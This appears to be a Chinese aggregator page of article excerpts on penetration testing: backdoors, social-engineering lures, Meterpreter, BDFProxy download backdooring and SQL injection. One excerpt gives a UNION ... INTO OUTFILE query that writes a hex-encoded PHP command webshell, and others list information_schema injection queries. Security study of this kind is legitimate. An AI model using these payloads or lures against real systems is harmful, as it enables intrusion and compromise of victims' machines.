Kali Linux 是一款专为网络安全和渗透测试而设计的操作系统，它提供了许多强大的工具和功能，让安全专家能够测试系统的漏洞并保护其安全性。然而，正如任何其他操作系统一样，Kali Linux 也存在一些安全性的问题，其中之一就是可能会被注入后门。
后门是一种恶意软件，允许黑客在未经授权的情况下远程访问目标系统。后门注入是指黑客通过各种手段，在受害者系统中安装后门，以获取系统的管理权限和数据。
原创
2024-04-02 09:55:09
43阅读
一、使用场景介绍在我们在无法突破对方的网络边界的时候，往往需要使用客户端渗透这种方式对目标发起攻击，比如我们向目标发一个含有后门的程序，或者是一个word文档、pdf文件。想要达到效果同时也要利用好社会工程学，来诱骗受害者执行恶意程序。 客户端渗透技巧，通常用户的计算机都安装了安全软件，一般我们生成的恶意程序都会被检测，所以我们所设计的恶意软件可以利用人的劣根性，比如我们将恶意软件或网站伪装成色情
转载
2024-05-13 10:18:12
22阅读
LINUX共享库类似Windows系统中的动态链接库，Linux中也有相应的共享库用以支持代码的复用。Windows中为*.dll，而Linux中为*.so。下 面详细介绍如何创建、使用Linux的共享库。一个例子：#includeint sayhello( void ){ printf("hello form sayhello function!/n");
转载
2023-01-05 14:31:04
165阅读
# 后门格式&&SQL注入QQ 1285575001Wechat M010527技术交流 QQ群599020441纪年科技aming课程内容：网站后门格式剖析初识sql注入漏洞原理了解各个数据库下的注入# 网站后门格式剖析：后缀eg:asp php aspx jsp do cgiasp?id=1 输入sql语句注入 html shtml 伪...
原创
2021-07-18 20:32:07
260阅读
咳咳，大家看看就好了，本人不负责所产生的后果复制代码 代码如下:SELECT * FROM `vbb_strikes` WHERE 1 union select 2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E from vbb_strikes into outfile 'c:/inetpub/wwwroot/
转载
2023-12-20 13:57:46
18阅读
老帖，原来的Blog废了。重新帖一下
自从臭要饭的发布了那个脚本隐藏于图片中的程序之后（没看的朋友参见前面的文章），不断就有人来说什么程序不好用拉，图片生成不了啦什么的。于是乎昨天我就重新研究了一下原理。突然想到了用一种新方法就是用copy命令进行图片与脚本的合并，却一直发现行不通，原因是不明：我一用copy合并后，图片的结构就被我破坏了，放到网页上不是图片只显示了一点就是干脆一个红叉。百思不得
转载
精选
2007-09-11 21:11:00
652阅读
Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力，本文主要整理了meterpreter的常用命令、脚本及使用方式。包含信息收集、提权、注册表操作、令牌操纵、哈希利用、后门植入等。0x01.系统命令1）基本系统命令sessions #sessions –h 查看帮助
sessions -i <ID值> #进入会话 -k 杀死会话
backgro
转载
2024-06-13 07:20:14
61阅读
mysql 4.0以上支持union 4.1以上支持子查询 5.0以上有了系统表 ———————————————————————————————————————————- 判断是否存在注入:首先,PHP和ASP判断注入的方法一样,在一个动态连接后面加上and 1=1,and 1=2看其返回结果即可判断.两次返回结果不相同,即可初步判断为有注入点. 判断字段大小:接下来,对付php猜字段的方法,我
转载
2024-06-14 13:36:27
42阅读
此篇中主要讲述如何在目标下载exe及zip文件的时候在zip文件及exe程序当中插入我们的后门代码。这样，只要目标运行了下载的程序就能顺利将木马植入目标主机。（一）用到的工具: 系统:kali 2.ettercap 3.BDFProxy
转载
精选
2015-04-27 09:42:30
2113阅读
HTML的发展概述HTML之父万维网于1990年左右诞生 WWW=URL+HTTP+HTML发明者Tim Berners-Lee,称之为李爵士，主要是因为2004年英女皇为他颁发大英帝国爵级司令勋章2017年，他被颁发了图灵奖李爵士做了哪些事写了第一个浏览器写了第一个服务器用自己写的浏览器访问了自己写的服务器发明了WWW，同时发明了HTML、HTTP和URLHTML工具选择VSCod
转载
2023-05-22 17:11:28
238阅读
Rootkit的作用是：隐藏信息 rootkit一般和后门backdoor配合着使用，一前一后通常，攻击者通过远程攻击获得root访问权限（譬如密码猜测、破解、缓冲区溢出、0-day漏洞），然后安装后门，便于之后回访，安装rootkit，隐藏踪迹，收集信息，便于长期回访以及获得对其他系统的访问权限。短暂的root权限+backdoor+rootkit==>长期的root权限&nb
转载
2023-11-01 10:04:01
66阅读
#时间盲注时间盲注 :Web界面只会返回一个正常的界面。利用页面响应的时间不同，逐渐猜解数据是否存在注入点。使用场景: 1.界面没有回显
转载
2023-09-26 20:10:37
29阅读
一、sql注入语句爆破所有数据库：(select group_concat(schema_name) from information_schema.schemata)获取数据库所有表：(select group_concat(table_name) from information_schema.tables where table_schema='mysql')获取所有列名：(select
转载
2023-07-01 08:09:07
165阅读
SqlliabLess1首先来看源码 我们发现直接将id的字段丢给了查询sql语句函数。输入地址看看效果http://192.168.16.135/sqli-labs-master/Less-1/?id=1 我们发现当id=1的时候，当前的执行语句为：SELECT * FROM users WHERE id='1' LIMIT 0,1我们首先试试判断sq
转载
2023-07-09 20:22:46
269阅读
MYSQL注入中首先要明确当前注入点权限，高权限注入时有更多的攻击手法，有的能直接进行getshell操作，其中也会遇到很多的阻碍，相关防御手法也要明确，所谓知己知彼，百战不殆。作为安全开发工作者，攻防兼备。注入点权限是否为root，取决于连接数据库的文件。这也决定了高权限注入及低权限注入跨库查询及应用思路information_schema 表特性，记录库名，表名，列名对应表
获取所有数据库名
转载
2023-08-02 22:12:24
32阅读
各位扥扥早！SQL注入理解1. 定义/类型定义：简单来说，当客户端提交的数据未做处理或转义直接带入数据库就造成了SQL注入。注入类型分为：
1. 整型(没有单双引号)
2. 字符串(有单双引号)
3. 其他细分的类型本质上就是整型和字符串的区别2.联合注入判断整型注入还是字符型注入and 1=2 //页面正常-->不是整型注入
id=1' //加单引号，页面不正常，字符型注入
--+ 将后面
转载
2023-07-28 13:56:11
150阅读
文章目录安卓后门工具：backdoor-apk 教程backdoor-apk 下载、安装、使用教程1、下载backdoor-apk2、下载完成后我们进入到其文件目录下：3、在当前目录下，我们可以看到一个脚本文件。4、Android清单权限选项：如何判断后门APK是否生成 成功？5、成功执行以上操作后，会生成一个绑定后门的 secist.apk 文件，默认被保存在 backdoor-apk>
转载
2023-07-31 19:51:40
1165阅读
看到《奔泪求救，江西师大的唯一的新小y不见了【知情者重金酬谢】》一文，心中非常气愤。如果喜欢小Y,即使没有钱买，就是借玩几天也未尚不可，但不应该偷盗啊，从中可见加强素质教育的重要性。不过，如果我们稍微注意一点，在安全防范上采取一定的措施，比如在BIOS中设置密码，即使小偷把本子偷走了，他也是无法使用的。那么，如何在BIOS中进行安全设置呢？ B
转载
2023-10-29 17:13:40
208阅读
攻击JavaWeb应用[8]-后门篇
园长 · 2013/10/11 19:19 0x00 背景关于JavaWeb后门问题一直以来都比较少，而比较新奇的后门更少。在这里我分享几种比较有意思的JavaWeb后门给大家玩。0x01 jspx后门在如今的web应用当中如果想直接传个jsp已经变得比较难了，但是如果只限制了asp、php、jsp、aspx等这些常见的后缀应该怎
试想一下，如果你的网站被入侵，攻击者留下隐藏的后门，你真的都可以找出来嘛？面对一个大中型的应用系统，数以百万级的代码行，是不可能做到每个文件每段代码进行手工检查的。即使是一款拥有99.9%的Webshell检出率的检测引擎，依然可能存在Webshell绕过的情况。另外，像暗链、网页劫持、页面跳转等常见的黑帽SEO手法，也很难通过手动检测或工具检测全部识别出来。最好的方式就是做文件完整性验证。通过与
